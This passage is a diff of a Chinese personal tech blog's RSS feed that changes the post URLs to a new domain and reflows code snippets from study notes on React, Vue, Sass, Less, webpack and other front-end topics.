&amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt;
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( &amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt; ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -2349,15 +2349,15 @@ yarn create-next-app demo
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &amp;quot;next/link&amp;quot;
&amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt;
Link不支持直接加兄弟标签，起码要有一个父级标签</description>
+import Link from &amp;quot;next/link&amp;quot; &amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt; Link不支持直接加兄弟标签，起码要有一个父级标签</description>
     </item>
     
     <item>
       <title>深入学习vuejs</title>
-      <link>https://xiaochenabc123.github.io/posts/75/</link>
+      <link>https://chenjunlinabc.github.io/posts/75/</link>
       <pubDate>Sat, 07 Aug 2021 23:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/75/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/75/</guid>
       <description>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
@@ -2380,15 +2380,15 @@ npm run serve
 yarn start/yarn run dev
 如果运行报错error Component name &amp;ldquo;Home&amp;rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
     </item>
     
     <item>
       <title>gulp学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/73/</link>
+      <link>https://chenjunlinabc.github.io/posts/73/</link>
       <pubDate>Fri, 06 Aug 2021 20:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/73/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/73/</guid>
       <description>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &amp;ndash;global gulp-cli
@@ -2415,21 +2415,21 @@ gulp.dest() // 执行完任务的文件最后在哪里
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&amp;quot;gulp&amp;quot;);
gulp.task(&amp;quot;test&amp;quot;, function() {
return console.log(&amp;quot;hallo gulp&amp;quot;);
});
执行test任务（在终端，应用根目录下）
+let gulp = require(&amp;quot;gulp&amp;quot;); gulp.task(&amp;quot;test&amp;quot;, function() { return console.log(&amp;quot;hallo gulp&amp;quot;); }); 执行test任务（在终端，应用根目录下）
 gulp test</description>
     </item>
     
     <item>
       <title>简单利用backdrop-filter属性实现效果</title>
-      <link>https://xiaochenabc123.github.io/posts/65/</link>
+      <link>https://chenjunlinabc.github.io/posts/65/</link>
       <pubDate>Fri, 06 Aug 2021 10:18:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/65/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/65/</guid>
       <description>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&amp;lt;style&amp;gt;
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&amp;quot;1.jpg&amp;quot;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
&amp;lt;/style&amp;gt;
&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;
&amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt;
hallo word
&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
backdrop-filter和filter区别：
+&amp;lt;style&amp;gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&amp;quot;1.jpg&amp;quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &amp;lt;/style&amp;gt; &amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt; &amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt; hallo word &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
 backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</description>
@@ -2437,24 +2437,24 @@ backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火
     
     <item>
       <title>深入学习React</title>
-      <link>https://xiaochenabc123.github.io/posts/63/</link>
+      <link>https://chenjunlinabc.github.io/posts/63/</link>
       <pubDate>Sun, 25 Jul 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/63/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/63/</guid>
       <description>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
},() =&amp;gt; {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } },() =&amp;gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt; ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -2471,25 +2471,25 @@ state只存储和组件渲染相关的数据，例如列表数据，而不用来
     
     <item>
       <title>JavaScript知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/61/</link>
+      <link>https://chenjunlinabc.github.io/posts/61/</link>
       <pubDate>Sun, 18 Jul 2021 22:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/61/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/61/</guid>
       <description>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc(&#39;hallo&#39;);
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc(&#39;hallo&#39;); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &amp;quot;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &amp;quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -2499,7 +2499,7 @@ window.history.forward()
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -2515,10 +2515,10 @@ document.execCommand(&amp;lsquo;paste&amp;rsquo;) // 粘贴</description>
     
     <item>
       <title>TypeScript学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/58/</link>
+      <link>https://chenjunlinabc.github.io/posts/58/</link>
       <pubDate>Sun, 18 Jul 2021 15:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/58/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/58/</guid>
       <description>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
@@ -2560,10 +2560,10 @@ let hallo: number = 123;</description>
     
     <item>
       <title>简单了解MVC，MVP和MVVM之间的不同与联系</title>
-      <link>https://xiaochenabc123.github.io/posts/56/</link>
+      <link>https://chenjunlinabc.github.io/posts/56/</link>
       <pubDate>Fri, 09 Jul 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/56/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/56/</guid>
       <description>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
@@ -2575,10 +2575,10 @@ MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基
     
     <item>
       <title>React学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/55/</link>
+      <link>https://chenjunlinabc.github.io/posts/55/</link>
       <pubDate>Fri, 09 Jul 2021 22:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/55/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/55/</guid>
       <description>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
@@ -2588,12 +2588,12 @@ react-dom包提供DOM相关的功能
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt;
ReactDOM.render(
&amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
);
&amp;lt;/script&amp;gt;
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt; ReactDOM.render( &amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ); &amp;lt;/script&amp;gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &amp;quot;react&amp;quot;
};
const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;;
ReactDOM.render(
hallo,
document.getElementById(&amp;quot;app&amp;quot;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &amp;quot;react&amp;quot; }; const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;; ReactDOM.render( hallo, document.getElementById(&amp;quot;app&amp;quot;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
@@ -2603,15 +2603,15 @@ npm start或者yarn start
     
     <item>
       <title>Ajax学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/54/</link>
+      <link>https://chenjunlinabc.github.io/posts/54/</link>
       <pubDate>Sat, 03 Jul 2021 15:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/54/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/54/</guid>
       <description>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&amp;quot;express&amp;quot;);
// 导入path
const patg = require(&amp;quot;path&amp;quot;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;)));
app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send(&amp;quot;hallo&amp;quot;);
});
// 监听端口
app.listen(3000);
console.log(&amp;quot;服务器启动成功&amp;quot;)
nodemon app.js
+// 导入express const express = require(&amp;quot;express&amp;quot;); // 导入path const patg = require(&amp;quot;path&amp;quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;))); app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send(&amp;quot;hallo&amp;quot;); }); // 监听端口 app.listen(3000); console.log(&amp;quot;服务器启动成功&amp;quot;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -2621,18 +2621,18 @@ hallo.open(&amp;ldquo;GET&amp;rdquo;,&amp;ldquo;https://httpbin.org/get&amp;quot
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console.</description>
+app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console.</description>
     </item>
     
     <item>
       <title>深入学习vue组件</title>
-      <link>https://xiaochenabc123.github.io/posts/53/</link>
+      <link>https://chenjunlinabc.github.io/posts/53/</link>
       <pubDate>Sat, 03 Jul 2021 11:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/53/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/53/</guid>
       <description>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
@@ -2641,24 +2641,24 @@ var responseText = JSON.parse(hallo.responseText);
console.</description>
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const datas ={
template: `
&amp;lt;div&amp;gt;
hallo
&amp;lt;/div&amp;gt;
`
}
const hallo = Vue.createApp({
components: {
&amp;quot;datas-a&amp;quot; : datas
}
}).mount(&#39;#app&#39;)
&amp;lt;/script&amp;gt;
components对象，键为自定义元素的名称，值为组件的实质对象
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const datas ={ template: ` &amp;lt;div&amp;gt; hallo &amp;lt;/div&amp;gt; ` } const hallo = Vue.createApp({ components: { &amp;quot;datas-a&amp;quot; : datas } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&amp;quot;datas-a&amp;quot; : dataa
}
}
模块系统
+const datab ={ components: { &amp;quot;datas-a&amp;quot; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &amp;lsquo;./datas&amp;rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `&amp;lt;h1&amp;gt;{{abc.</description>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&amp;lt;h1&amp;gt;{{abc.</description>
     </item>
     
     <item>
       <title>正则表达式学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/52/</link>
+      <link>https://chenjunlinabc.github.io/posts/52/</link>
       <pubDate>Fri, 02 Jul 2021 18:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/52/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/52/</guid>
       <description>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
@@ -2698,10 +2698,10 @@ var hallo = /a*/;</description>
     
     <item>
       <title>CSS预处理器-Sass学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/51/</link>
+      <link>https://chenjunlinabc.github.io/posts/51/</link>
       <pubDate>Fri, 02 Jul 2021 08:44:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/51/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/51/</guid>
       <description>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &amp;ndash;save-dev
@@ -2732,18 +2732,18 @@ sass &amp;ndash;watch sass/style.scss:css/style.css
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
     </item>
     
     <item>
       <title>CSS预处理器-Less学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/50/</link>
+      <link>https://chenjunlinabc.github.io/posts/50/</link>
       <pubDate>Thu, 01 Jul 2021 15:31:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/50/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/50/</guid>
       <description>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
@@ -2766,7 +2766,7 @@ hallo.less
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -2776,16 +2776,16 @@ lessc style.less style.css
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&amp;amp;:hover{
color: @color;
}
&amp;amp;::before{
width: 30px;
}
} }
less运算</description>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &amp;amp;:hover{ color: @color; } &amp;amp;::before{ width: 30px; } } } less运算</description>
     </item>
     
     <item>
       <title>数据结构与算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/49/</link>
+      <link>https://chenjunlinabc.github.io/posts/49/</link>
       <pubDate>Tue, 29 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/49/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/49/</guid>
       <description>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
@@ -2848,10 +2848,10 @@ less嵌套
     
     <item>
       <title>微信小程序学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/48/</link>
+      <link>https://chenjunlinabc.github.io/posts/48/</link>
       <pubDate>Sun, 27 Jun 2021 12:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/48/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/48/</guid>
       <description>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
@@ -2882,8 +2882,8 @@ index.js页面逻辑
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&amp;quot;pages&amp;quot;:[
&amp;quot;pages/index/index&amp;quot;,
&amp;quot;pages/demo/demo&amp;quot;
],
window属性是设置小程序的窗口样式，例如：
-&amp;quot;window&amp;quot;:{
&amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;,
&amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色
&amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本
&amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&amp;quot;pages&amp;quot;:[ &amp;quot;pages/index/index&amp;quot;, &amp;quot;pages/demo/demo&amp;quot; ], window属性是设置小程序的窗口样式，例如：
+&amp;quot;window&amp;quot;:{ &amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;, &amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色 &amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本 &amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -2907,10 +2907,10 @@ text元素是表示行内文本，和span类似</description>
     
     <item>
       <title>webpack学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/47/</link>
+      <link>https://chenjunlinabc.github.io/posts/47/</link>
       <pubDate>Thu, 24 Jun 2021 10:11:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/47/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/47/</guid>
       <description>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
@@ -2928,15 +2928,15 @@ require(&amp;quot;!style-loader!css-loader!./abc.css&amp;quot;); document.write(
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: &#39;入口文件的路径&#39;,
output: {
path:__dirname,
filename: &#39;最后输出到哪个文件的文件名&#39;
},
module: {
rules: [{
test: &#39;处理什么格式的文件&#39;,
use:[
{
loader: &#39;依赖包&#39;
}
]
}
]
}
};
模块化</description>
+module.exports = { entry: &#39;入口文件的路径&#39;, output: { path:__dirname, filename: &#39;最后输出到哪个文件的文件名&#39; }, module: { rules: [{ test: &#39;处理什么格式的文件&#39;, use:[ { loader: &#39;依赖包&#39; } ] } ] } }; 模块化</description>
     </item>
     
     <item>
       <title>Grid布局学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/45/</link>
+      <link>https://chenjunlinabc.github.io/posts/45/</link>
       <pubDate>Wed, 23 Jun 2021 10:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/45/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/45/</guid>
